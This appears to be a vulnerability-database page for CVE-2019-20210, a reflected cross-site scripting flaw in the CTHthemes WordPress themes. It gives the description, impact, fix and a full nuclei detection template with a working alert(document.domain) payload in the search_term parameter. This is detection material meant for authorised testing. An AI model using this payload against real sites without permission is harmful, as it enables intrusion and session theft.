Browse / CVEs / CVE-2019-20210
CVE-2019-20210· cththemes / citybook· CWE-79
WordPress CTHthemes - Cross-Site Scripting
mediumseverity
6.1CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it
WordPress CTHthemes CityBook before 2.3.4, TownHub before 1.0.6, and EasyBook before 1.2.2 themes contain reflected cross-site scripting vulnerabilities via a search query.
Impact
Successful exploitation of this vulnerability can lead to session hijacking, defacement of the website, theft of sensitive information, or the installation of malware on the victim's system.
Fix
Update to the latest version of the WordPress CTHthemes plugin, which includes a fix for this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/?search_term=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location_search=&nearby=off&address_lat=&address_lng=&d…
Positive when: contains "</script><script>alert(document.domain)</script>" and "/wp-content/themes/citybook" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2019-20210 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-20210
info:
name: WordPress CTHthemes - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
WordPress CTHthemes CityBook before 2.3.4, TownHub before 1.0.6, and EasyBook before 1.2.2 themes contain reflected cross-site scripting vulnerabilities via a search query.
impact: |
Successful exploitation of this vulnerability can lead to session hijacking, defacement of the website, theft of sensitive information, or the installation of malware on the victim's system.
remediation: |
Update to the latest version of the WordPress CTHthemes plugin, which includes a fix for this vulnerability.
reference:
- https://wpscan.com/vulnerability/10013
- https://wpvulndb.com/vulnerabilities/10018
- https://cxsecurity.com/issue/WLB-2019120112
- https://nvd.nist.gov/vuln/detail/CVE-2019-20210
- https://themeforest.net/item/citybook-directory-listing-wordpress-theme/21694727
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-20210
cwe-id: CWE-79
epss-score: 0.03243
epss-percentile: 0.88409
cpe: cpe:2.3:a:cththemes:citybook:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: cththemes
product: citybook
framework: wordpress
tags: cve,cve2019,wp-theme,wpscan,wordpress,citybook,xss,cththemes,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?search_term=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location_search=&nearby=off&address_lat=&address_lng=&distance=10&lcats%5B%5D="
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- "/wp-content/themes/citybook"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/10013
- https://wpvulndb.com/vulnerabilities/10018
- https://cxsecurity.com/issue/WLB-2019120112
- https://nvd.nist.gov/vuln/detail/CVE-2019-20210
- https://themeforest.net/item/citybook-directory-listing-wordpress-theme/21694727
Use this check only on systems you are authorised to test. Where the data comes from